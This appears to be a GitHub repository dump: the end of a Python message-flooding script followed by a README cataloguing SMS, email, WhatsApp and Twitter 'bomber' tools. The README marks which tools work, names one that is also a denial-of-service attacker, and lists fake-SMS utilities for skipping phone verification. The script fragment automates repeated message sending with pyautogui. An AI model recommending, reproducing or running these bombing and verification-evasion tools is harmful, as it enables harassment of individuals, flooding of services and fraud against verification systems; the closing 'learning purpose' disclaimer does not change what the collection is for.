250 | elif n == 0: 251 | r = True 252 | i = 0 253 | while r: 254 | sleep(inte) 255 | i = i + 1 256 | print(rg + '%1d message send!' % (i)) 257 | fo =('%1s %1s %1s' %(g, str(i), su)) 258 | paste(g) 259 | pyautogui.press('enter') 260 | 261 | else: 262 | error(4, name, modes) 263 | elif name == '2': # credits 264 | system('cls||clear') # cls 265 | print(cr) 266 | input() 267 | 268 | elif name == '3': # errorlist 269 | system('cls||clear') # cls 270 | print(err) 271 | input() 272 | 273 | elif name == '4': # exit 274 | run = False 275 | 276 | elif name == '5': # exit 277 | system('cls||clear') # cls 278 | print(v) 279 | input() 280 | elif name == '6': # exit 281 | system('cls||clear') # cls 282 | print(log) 283 | input() 284 | else: 285 | error(4, name, x) 286 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # :boom::bomb::bomb::bomb: BOMBERs :bomb::bomb::bomb::boom: 2 | ***SMS/Email/Whatsapp/Twitter/Instagram 𝔹𝕠𝕞𝕓𝕖𝕣𝕤 ℂ𝕠𝕝𝕝𝕖𝕔𝕥𝕚𝕠𝕟. ♡ Also added collection of some Fake SMS utilities which helps in skip phone number based SMS verification by using a temporary phone number that acts like a proxy.*** 3 | 4 | | Status | Description | Color Code | 5 | |--------|-------------|------------| 6 | |Working| The Script is working. | ![Working](https://i.ibb.co/3FntR1c/1.png) | 7 | |Not- Working| Scripts are not working Or need some modifications.|![Not-Working](https://i.ibb.co/wWtD8S6/2.png) | 8 | |Others| Pending, Some anothers issues OR not checked that is it working or not.| ![Others](https://i.ibb.co/pQwqwcN/3.png)| 9 | 10 | 11 | ### SMS BOMBERS :calling: :boom: 12 | | Sr.No. | Name | Description | Developed By | Status | 13 | |--------|------|--------------|-------------|--------| 14 | |1.| Sms_bomber.py | Sending continues sms from using one single link. NOTE: Sms_bomber.py is now working too Thanks to [Ghost](https://github.com/ghost). Also refer: Sms_bomber_updated.py | bhattsameer| ![Working](https://i.ibb.co/3FntR1c/1.png) | 15 | |2.| Sms_bomber_version2.py | Sending continues sms from using one Multiple links.| bhattsameer| ![Others](https://i.ibb.co/pQwqwcN/3.png)| 16 | |3.| bomb3r 💣 |Sending continues sms from on specified mobile number (25 different sms providers) |iMro0t | ![Working](https://i.ibb.co/3FntR1c/1.png) | 17 | |4.| numspy_bomber.py | Numspy bomber sending multiple free messages using numspy module. (Currently not working need to update) |bhattsameer|![Others](https://i.ibb.co/pQwqwcN/3.png) | 18 | |5.| SmS-BomB| Your Own SmS BomBer...!!! |[Bhai4You](https://github.com/Bhai4You) |![Others](https://i.ibb.co/pQwqwcN/3.png) | 19 | |6.| SpamSms |Spamming mobile number with OTP.|KANG-NEWBIE|![Others](https://i.ibb.co/pQwqwcN/3.png)| 20 | |7.| C-SpamMasal |Spamming mobile number with OTP. |KANG-NEWBIE|![Others](https://i.ibb.co/pQwqwcN/3.png) | 21 | |8.| SMS-BOMBER |SMS Bomber.|jdleo|![Others](https://i.ibb.co/pQwqwcN/3.png) | 22 | |9.| TBomb |A free and open-source SMS/Call bombing application | TheSpeedX|![Working](https://i.ibb.co/3FntR1c/1.png) | 23 | |10.| smsBomb |SMS Bomber.| shellvon|![Others](https://i.ibb.co/pQwqwcN/3.png) | 24 | |11.| sms-bomber| SMS Bomber. |aarnhub|![Others](https://i.ibb.co/pQwqwcN/3.png) | 25 | |12.| Reborn SMS Bomber For Termux and Linux|Reborn SMS Bomber. |4nat|![Others](https://i.ibb.co/pQwqwcN/3.png) | 26 | |13.| ni_bomber |SMS Bomber |Nikait|![Not-Working](https://i.ibb.co/wWtD8S6/2.png) | 27 | |14.| YetAnotherSMSBomber|Sms Bomber.|AvinashReddy3108|![Not-Working](https://i.ibb.co/wWtD8S6/2.png) | 28 | |15.| smsbomb|Sms Bomber.|1d8|![Others](https://i.ibb.co/pQwqwcN/3.png) | 29 | |16.| XLR8_BOMBER|Superfast SMS bomber for linux and termux, Also sends OTP to whatsapp. |anubhavanonymous |![Working](https://i.ibb.co/3FntR1c/1.png) | 30 | |17.| Beast_Bomber|SMS, email, WhatsApp, Telegram, Discord bomber and DoS attacker|ebankoff |![Working](https://i.ibb.co/3FntR1c/1.png) | 31 | 32 | ### EMAIL BOMBERS :e-mail: :boom: 33 | | Sr.No. | Name | Description | Developed By | Status | 34 | |--------|------|--------------|-------------|--------| 35 | |1.| Email_bomber.py |Sending continues email. Update with Outlook bomber as well |[xyzricky](https://github.com/xyzricky)|![Working](https://i.ibb.co/3FntR1c/1.png) | 36 | |2.| Email_bomber |Sending continues email. |[zanyarjamal](https://github.com/zanyarjamal) |![Working](https://i.ibb.co/3FntR1c/1.png) | 37 | |3.| Email_bomb |Sending continues email using your yahoo and gmail account.|[MrMugiwara](https://github.com/MrMugiwara)|![Working](https://i.ibb.co/3FntR1c/1.png) | 38 | |4.| EmBomber| Email Bomber. |MazenElzanaty|![Others](https://i.ibb.co/pQwqwcN/3.png)| 39 | |5.| Python---Email-Bomber | Email Bomber.| ncorbuk|![Working](https://i.ibb.co/3FntR1c/1.png) | 40 | |6.| EmailPySpam |Email Bomber.|Curioo|![Working](https://i.ibb.co/3FntR1c/1.png) | 41 | |7.| Email-Spammer | Email Bomber. | Juniorn1003|![Working](https://i.ibb.co/3FntR1c/1.png) | 42 | |8.| Email-Bomber |Email Bomber.|mohinparamasivam|![Working](https://i.ibb.co/3FntR1c/1.png) | 43 | |9.| Fast Mail Bomber |Fast, multithreading, efficient and easy-to-use mail bombing/spamming tool. Sending mails via mailman services hosted by different providers. | juzeon|![Working](https://i.ibb.co/3FntR1c/1.png) | 44 | |10.| Email_Bomber_Version2 |Fast, multithreading, efficient and easy-to-use mail bombing/spamming tool. Sending mails To multiple Victims(Improved Version). | everydaycodings|![Working](https://i.ibb.co/3FntR1c/1.png) | 45 | |11.| Atomic Email Bomb | A better Gmail bomber. | zeyad-mansour|![Working](https://i.ibb.co/3FntR1c/1.png) | 46 | |12.| email-bomber |this is a email bomber unlike other email bombers u don't need your gmail email id to use this. |[bagarrattaa](https://github.com/bagarrattaa) |![Working](https://i.ibb.co/3FntR1c/1.png) | 47 | |13.| Beast_Bomber|SMS, email, WhatsApp, Telegram, Discord bomber and DoS attacker|ebankoff |![Working](https://i.ibb.co/3FntR1c/1.png) | 48 | 49 | ### Whats-app Bombers :calling: :boom: 50 | | Sr.No. | Name | Description | Developed By | Status | 51 | |--------|------|--------------|-------------|--------| 52 | |1.| wbomb.py| Whatsapp-bomber sending multipal message to a single user.|bhattsameer Last Modified: [OnTheLink](https://github.com/OnTheLink)|![Working](https://i.ibb.co/3FntR1c/1.png)| 53 | |2.| whatabomb | Whats-app bomber GUI. | [tbhaxor](https://github.com/tbhaxor)|![Working](https://i.ibb.co/3FntR1c/1.png) | 54 | |3.| WhatsApp-Bomber | WhatsApp Monitor+Bomber (Chrome Extension)| [rizwansoaib](https://github.com/rizwansoaib)|![Not-Working](https://i.ibb.co/wWtD8S6/2.png)| 55 | |4.| WhatsApp-Spam | WhatsApp-Spam scripts | [macr1408](https://github.com/macr1408)|![Others](https://i.ibb.co/pQwqwcN/3.png) | 56 | |5.| Beast_Bomber|SMS, email, WhatsApp, Telegram, Discord bomber and DoS attacker|ebankoff |![Working](https://i.ibb.co/3FntR1c/1.png) | 57 | 58 | ### Twitter Bombers :boom: 59 | | Sr.No. | Name | Description | Developed By | Status | 60 | |--------|------|--------------|-------------|--------| 61 | |1.| Twitter_bomber.py |Twitter-bomber this will allow spamming the twitter inbox of a person with the message you want, the person who is using this must make sure that the inbox of the user who will be spammed is open. | [akshaykalucha3](https://github.com/akshaykalucha3)|![Working](https://i.ibb.co/3FntR1c/1.png) | 62 | 63 | 64 | ### TEMP & Fake-SMS Collection: 65 | | Sr.No. | Name | Description | Developed By | Status | 66 | |--------|------|--------------|-------------|--------| 67 | |1.| tmpsms| A temporary SMS utility right from your terminal written in POSIX sh. |[sdushantha](https://github.com/sdushantha)|![Working](https://i.ibb.co/3FntR1c/1.png) | 68 | |2.| fake-sms| A simple command line tool using which you can skip phone number based SMS verification by using a temporary phone number that acts like a proxy. |[Narasimha1997](https://github.com/Narasimha1997)|![Working](https://i.ibb.co/3FntR1c/1.png) | 69 | 70 | ### Others: 71 | | Sr.No. | Name | Description | Developed By | Status | 72 | |--------|------|--------------|-------------|--------| 73 | |1.| https://mailspammer.cf | Email Spammer Website. Spam piles and piles of emails! |[WOLFIE_OG](https://github.com/WOLFIE-OG)|![Not-Working](https://i.ibb.co/wWtD8S6/2.png) | 74 | |2.| HPomb|HPomb Call, SMS and mail bomber all in one. |[HoneyPots0](https://github.com/HoneyPots0)|![Others](https://i.ibb.co/pQwqwcN/3.png)| 75 | |3.| bomberthon |Best Bombing Tool with WhatsApp, Instagram, SMS bomber | [b31ngD3v](https://github.com/b31ngD3v)|![Working](https://i.ibb.co/3FntR1c/1.png)| 76 | |4.| PySpam | Spam for pc {not work on phone} | [timofey260](https://github.com/timofey260)|![Working](https://i.ibb.co/3FntR1c/1.png)| 77 | 78 | 79 | ## Contributors: 80 | 81 | To keep this collection up-to-date need contributors who can add more mobile/email/whatsapp/twitter scripts and github repo here at one place. 82 | |||| 83 | |--------------|----------|----------| 84 | |:octocat: [iMro0t](https://github.com/iMro0t)|:octocat: [akshaykalucha3](https://github.com/akshaykalucha3)|:octocat: [bagarrattaa](https://github.com/bagarrattaa)| 85 | |:octocat: [rizwansoaib](https://github.com/rizwansoaib)|:octocat: [xyzricky](https://github.com/xyzricky)| | 86 | |:octocat: [scienceLabwork](https://github.com/scienceLabwork)|:octocat: [timofey260](https://github.com/timofey260)| | 87 | |:octocat: [cclauss](https://github.com/cclauss)|:octocat: [juzeon](https://github.com/juzeon)| | 88 | |:octocat: [rduttshukla](https://github.com/rduttshukla)|:octocat: [Ghost](https://github.com/ghost)| | 89 | |:octocat: [LucasNcipha](https://github.com/LucasNcipha)|:octocat: [everydaycodings](https://github.com/everydaycodings)| | 90 | |:octocat: [zeyad-mansour](https://github.com/zeyad-mansour)|:octocat: [ebankoff](https://github.com/ebankoff)| | 91 | 92 | ## Note: 93 | 94 | 𝙄 𝙖𝙢 𝙣𝙤𝙩 𝙧𝙚𝙨𝙥𝙤𝙣𝙨𝙞𝙗𝙡𝙚 𝙛𝙤𝙧 𝙖𝙣𝙮 𝙩𝙝𝙞𝙣𝙜 𝙮𝙤𝙪 𝙙𝙤 𝙬𝙞𝙩𝙝 𝙩𝙝𝙞𝙨 𝙨𝙘𝙧𝙞𝙥𝙩 95 | 𝙏𝙝𝙞𝙨 𝙞𝙨 𝙟𝙪𝙨𝙩 𝙛𝙤𝙧 𝙡𝙚𝙖𝙧𝙣𝙞𝙣𝙜 𝙖𝙣𝙙 𝙠𝙣𝙤𝙬𝙡𝙚𝙙𝙜𝙚 𝙥𝙪𝙧𝙥𝙤𝙨𝙚. 96 | 97 | ## Please contribute! 98 | Thanks everyone for your continued support!! For now I am archiving this project and making it read-only, if anyone wants to contribute please reach out. 99 | 100 | --------------------------------------------------------------------------------